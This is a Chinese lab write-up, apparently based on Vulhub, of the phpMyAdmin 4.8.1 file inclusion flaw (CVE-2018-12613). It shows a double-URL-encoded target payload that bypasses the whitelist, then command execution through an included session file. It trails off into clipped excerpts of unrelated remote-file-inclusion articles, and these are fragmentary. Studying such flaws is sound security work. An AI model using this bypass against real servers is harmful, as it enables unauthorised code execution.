phpmyadmin是一套開源的、基於web的mysql資料庫管理工具。其index.php中存在一處檔案包含邏輯,通過二次編碼即可繞過檢查,造成遠端檔案包含漏洞。
git clone git:
cd vulhub/phpmyadmin/cve-2018-12613/
docker-compose up -d
訪問ip:8080即可進入phpmyadmin,由於配置的config模式,所以無需輸入賬號密碼直接登入的test賬戶phpmyadmin 4.8.1版本的index.php中存在檔案包含漏洞,通過二次編碼可繞過過濾。因為在index.php中會對target值做判斷,但是只要在白名單就會返回true
白名單如下:
page是取出page問號前的東西,是考慮到target有引數的情況,只要$_page在白名單中就直接return true 但還考慮了url編碼的情況,所以如果這步判斷未成功,下一步又進行url解碼,所以傳入二次編碼後的內容,會讓checkpagevalidity()這個函式返回true.但index中實際包含的內容卻不是白名單中的檔案 例如傳入'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'user_password.php',
?target=db_datadict.php%253f
由於伺服器會自動解碼一次,所以在checkpagevalidity()中,$page的值一開始會是db_datadict.php%3f
,再次解碼成為db_datadict.php?
就可造成任意檔案包含.構造ur了通過包含session臨時檔案來實現命令執行
我們先開始執行乙個
select '<?php phpinfo(); ?>'
命令然後檢視session值來訪問臨時檔案使用檔案包含漏洞訪問該臨時檔案,發現命令執行成功
基本實驗 遠端檔案包含
首先在自己的 10.0.3.88 中建立乙個txt檔案 test.txt 內容為 payload myfile fopen cforce.php w or die unable to open file fwrite myfile,payload fclose myfile rfi.php是存在漏洞...
PHPList遠端檔案包含漏洞
影響版本 phplist 2.6.2 漏洞描述 phplist是一款由php編寫的時事通訊應用程式。phplist由於不充分過濾使用者提交的請求,遠端攻擊者可以利用這個漏洞包含遠端伺服器上的惡意php檔案,以web許可權執行。michiel dethmers secfoc kipu.co.uk se...
網路安全系列之三十 遠端檔案包含
遠端檔案包含 remote file include,它也屬於是 注入 的一種,其原理就是注入一段使用者能控制的指令碼或 並讓服務端執行。檔案包含漏洞可能出現在jsp php asp等語言中,原理都是一樣的,本文只介紹php檔案包含漏洞。本次實驗需要使用2臺web伺服器,實驗環境如下 首先我們編寫下...